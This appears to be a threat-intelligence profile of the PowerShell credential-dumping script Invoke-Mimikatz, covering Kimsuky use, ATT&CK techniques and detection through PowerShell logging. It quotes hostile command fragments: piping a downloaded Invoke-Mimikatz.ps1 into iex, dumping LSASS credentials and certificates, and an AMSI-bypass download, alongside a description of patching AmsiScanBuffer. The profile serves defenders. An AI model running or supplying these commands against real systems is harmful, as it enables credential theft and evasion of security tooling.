Invoke-Mimikatz is a PowerShell credential-dumping script included in PowerSploit that enables Mimikatz functionality on Windows systems. It is a dual-use security tool employed in penetration testing and adversary post-compromise activity to extract credentials, including plaintext passwords and password hashes. Stolen credentials can support subsequent account compromise and lateral movement.
Invoke-Mimikatz supports in-memory execution through PowerShell and can be invoked using obfuscated commands, complicating detection and forensic analysis. It has been observed in commands that download and execute remotely hosted scripts, and the North Korea-linked threat actor Kimsuky has used it. Researchers have also used Invoke-Mimikatz to demonstrate Windows bind-link abuse that disguises malicious execution as a trusted system process to evade endpoint detection; this is an external execution technique rather than an intrinsic capability of the script. PowerShell module logging, script block logging, and transcription provide complementary visibility into its execution.
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Kimsuky has executed a variety of PowerShell scripts including Invoke-Mimikatz.
12 distinct techniques documented for this family, organized by ATT&CK tactic.
The workflow uses PowerShell to download, load, and execute AMSI-bypass, Mimikatz, PowerUp, and NTDS/SAM-dumping scripts, including commands piped into Invoke-Expression.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”... By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
attackers can manipulate these links so that trusted Windows paths point to malicious files instead of legitimate ones, enabling malware to execute while appearing harmless to security applications.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”... By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
"We’ll run it in memory without ever letting it touch disk" and "iwr ... Invoke-Mimikatz.ps1 | iex."
By setting this variable to “false”, what is returned is the following enumeration value... AMSI_RESULT_NOT_DETECTED. This in turn causes any further checks within the code to be bypassed, neutering AMSI.
Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.
"Instead, let’s dump LSASS locally and see what’s there in the results: ... Invoke-Mimikatz -DumpCreds."
This module executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) and extract cached credentials from memory from the LSASS subsystem.
Stracciatella D:\> . .\Invoke-Mimikatz.ps1 ... Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
CRYPTO::Certificates – list/export certificates... Typical use is to export certificates that aren’t marked as “exportable.”... Use mimikatz to export all private certificates (even if they are marked non-exportable): Invoke-Mimikatz – DumpCerts
if Invoke-Mimikatz is run with the appropriate rights and the target computer has PowerShell Remoting enabled, it can pull credentials from other systems, as well as execute the standard Mimikatz commands remotely, without files being dropped on the remote system.
Scripts are retrieved from remote locations with commands such as "wget ... -O shantanukhande-amsi.ps1" and "iwr ... Invoke-Mimikatz.ps1 | iex."
2 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.